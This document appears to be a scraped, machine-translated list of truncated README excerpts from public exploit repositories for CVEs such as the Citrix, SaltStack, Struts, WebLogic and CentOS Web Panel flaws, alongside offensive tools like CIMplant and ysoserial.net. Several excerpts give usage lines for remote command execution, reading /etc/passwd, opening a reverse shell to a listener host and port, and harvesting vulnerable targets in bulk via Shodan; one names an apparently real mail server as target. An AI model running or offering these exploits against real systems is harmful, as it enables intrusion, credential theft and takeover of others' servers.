CVE-2020-0688

python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...

CVE-2025-5840

CVE-2025-5840 CVE-2025-5840 のエクスプロイト（Python 製）by hax / haxerr9 使い方: システムに Python3 がインストールされていることを確認してください。 "python3 CVE-2025-5840.py URL -c COMMAND" を実行してください。 スクリプトを実行する前にパラメータを指定するのを忘れないでください。 使用例: 未テスト このエクスプロイトはラボ環境ではテストされていません。動作しない場合（システム/サーバーが脆弱であると確信しているにもかかわらずエクスプロイトが動作しない場合）は、Issue...

CIMplant

CIMplant WMImplant の C 移植版で、CIM または WMI を使用してリモートシステムをクエリします。提供された資格情報または現在のユーザーセッションを使用できます。 注: 一部のコマンドは PowerShell と WMI を組み合わせて使用します。--show-commands コマンドでは で示されます。 はじめに CIMplant は @christruncer の WMImplant の C による書き換えと拡張です。リモートシステムに関するデータ収集、コマンド実行、データ流出などが可能です。このツールは Windows Management...

WSMan-WinRM

WSMan-WinRM WSMan.Automation COM オブジェクトを使用して、WinRM 経由でリモートコマンドを実行するための概念実証ソースコードとスクリプトのコレクションです。 背景 背景情報については、以下のブログ記事を参照してください: WS-Management COM: WinRM ラテラルムーブメントへの別のアプローチ 注意事項 SharpWSManWinRM.cs と CppWsManWinRM.cpp は Visual Studio 2019 でコンパイル可能です。必要なインポート/参照などについては、コードのコメントを参照してください。 すべての例では、W...

CVE-2025-50505

CVE-2025-50505 認証されていないAPIがClash Verge Revにおける任意のコマンド実行および権限昇格を引き起こす 説明 この脆弱性は、デフォルトで昇格された権限でインストールされるclash-verge-serviceコンポーネントによって公開されている認証されていないAPIエンドポイントに起因します。この欠陥により、攻撃者は任意のコマンドを実行でき、2つの主要な攻撃シナリオ（ホストマシン上のローカル権限昇格（LPE）と特定の条件下でのリモートコード実行（RCE））につながります。...

CVE-2019-6446

CVE-2019-6446 Numpy デシリアライズ コマンド実行 NumPyは、多次元配列に対する計算を実行するための強力なPythonライブラリです。専門家の分析によると、バージョン1.16.0以下にこの脆弱性が存在します。修正方法は、lib/npyio.py内のload関数のパラメータallowpickleを削除するか、その値をFalseに変更することでデシリアライズ問題を回避できます。テストした1.16.3 Mac/Windows バージョンでは、このload関数からallowpickleパラメータが削除されていました。しかし、依然としてコマンド実行が可能です。...

PIL-CVE-2017-8291

Python PIL リモートコマンド実行の脆弱性（GhostButt） Python で画像を処理する PIL（Pillow）モジュールは、内部で GhostScript を呼び出すため、GhostButt 脆弱性（CVE-2017-8291）の影響を受け、リモートコマンド実行の脆弱性が発生します。 脆弱性の概要 PIL は内部で画像ヘッダー（マジックバイト）に基づいて画像タイプを判別します。EPS ファイル（ヘッダーが %!PS）と判別された場合、PIL/EpsImagePlugin.py に処理が振り分けられます。 このモジュールでは、PIL はシステムの gs...

struts-pwn_CVE-2017-9805

struts-pwn - CVE-2017-9805 漏洞利用工具 适用于 Apache Struts CVE-2017-9805 的漏洞利用工具 使用方法 检查单个 URL 是否存在漏洞。 python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3' 检查 URL 列表是否存在漏洞。 python struts-pwn.py --list 'urls.txt' 对单个 URL 进行漏洞利用。 python struts-pwn.py --exploit --url...

CVE-2023-26035

CVE-2023-26035 ZoneMinder Snapshots - Sin autenticar Instalación Clonar repositorio $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git Configuración Nota: Instala la última versión de node $ npm init $ npm i axios cheerio yargs Uso...

CVE-2017-1000117

CVE-2017-1000117 仕組み $ git clone --recursive [email protected]:ikmski/CVE-2017-1000117.git このリポジトリを作成する方法 $ cat message.txt | gzip | base64 command $ git submodule add [email protected]:ikmski/Hello-World.git subs/CVE-2017-1000117 $ cat .gitmodules submodule "subs/CVE-2017-1000117" path...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2024-7399-POC

CVE-2024-7399 针对 CVE-2024-7399 的漏洞利用程序。 更多详情可在此处查看：https://davidxbors.github.io/0xpages/posts/cve-2024-7399/。 用法： python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py https://localhost:7002/ --upload test.txt...

CVE-2023-2255

エクスプロイト作成を実行するコマンド： sudo python3 starkelevate.py /home/bob/Downloads/librecommand.exe --output librecommand.odt 教育目的専用...

CVE-2018-2628

CVE-2018-2628 0x01 Nessus Scan 0x02 K8 Tools GetShell 0x03 CMD Query Use-Method: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

ysoserial.net

安全でない .NET オブジェクトのデシリアライズを悪用するペイロードを生成するための概念実証ツールです。 説明 ysoserial.net は、一般的な .NET ライブラリで発見されたユーティリティとプロパティ指向プログラミングの「ガジェットチェーン」のコレクションであり、適切な条件下でオブジェクトの安全でないデシリアライズを行う .NET アプリケーションを悪用することができます。メインドライバプログラムは、ユーザー指定のコマンドを受け取り、それをユーザー指定のガジェットチェーンでラップし、これらのオブジェクトを stdout...

CVE-2019-19781

CVE-2019-19781 Citrix Application Delivery ControllerおよびCitrix Gateway向けリモートコード実行エクスプロイト CVE-2019-19781 使い方 : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE 例 : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd'...

CVE-2019-19268

CVE-2019-19268 受影响版本：rConfig 3.9.2。 描述 由于配置错误，rConfig v3.9.2 中存在多个攻击向量，允许本地用户通过 sudo 执行 root 命令。 发现者 dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek1892 电子邮件: [email protected] rConfig 3.9.2 的 sudo 配置让 apache 用户可以以 root 身份执行 /usr/bin/zip、/bin/chmod 和 /usr/bin/tail 程序。结合...

CVE-2026-51992

CVE-2026-51992 在 ClickHouse 中，存在一个功能，允许具有相应权限的用户创建字典，以便与不同的数据库交互并对其运行特定查询。对于 PostgreSQL，SELECT 查询在被发送到数据库执行之前，会被包装在 COPY QUERY TO STDOUT 语句中。通过在创建的字典中添加一个括号，可以跳出 COPY QUERY TO STDOUT 语句，进而运行任意 SQL 语句，这又可能导致在数据库服务器上运行任意命令。 详细信息 PostgreSQL 字典使用以下结构创建： SOURCEPOSTGRESQL port 5432 host...

watchTowr-vs-JunosEvolved-CVE-2026-21902

watchTowr-vs-JunosEvolved-CVE-2026-21902 面向 Juniper Junos Evolved CVE-2026-21902 的检测产物生成器。 https://github.com/user-attachments/assets/a7d667e1-7636-4097-ab3f-838944cdcccc 技术详情请参阅我们的博客文章。 检测演示 python .\watchTowr-vs-JunosEvolved-CVE-2026-21902.py 127.0.0.1 -c "id /var/home/admin/watchTowr.txt" / | ...

CVE-2025-48703

CVE-2025-48703 CVE-2025-48703 は、CentOS Web Panel CWP における重大な脆弱性であり、認証されていない攻撃者が認証メカニズムをバイパスし、システムコマンドを実行することでリモートコード実行 RCE を可能にします。この脆弱性は CWP バージョン 0.9.8.1204 以前に影響し、最新バージョン 0.9.8.1205 で修正されました。 Shodan クローラー: shodan download --limit 206765 list-targets "Server: cwpsrv" shodan parse --fields...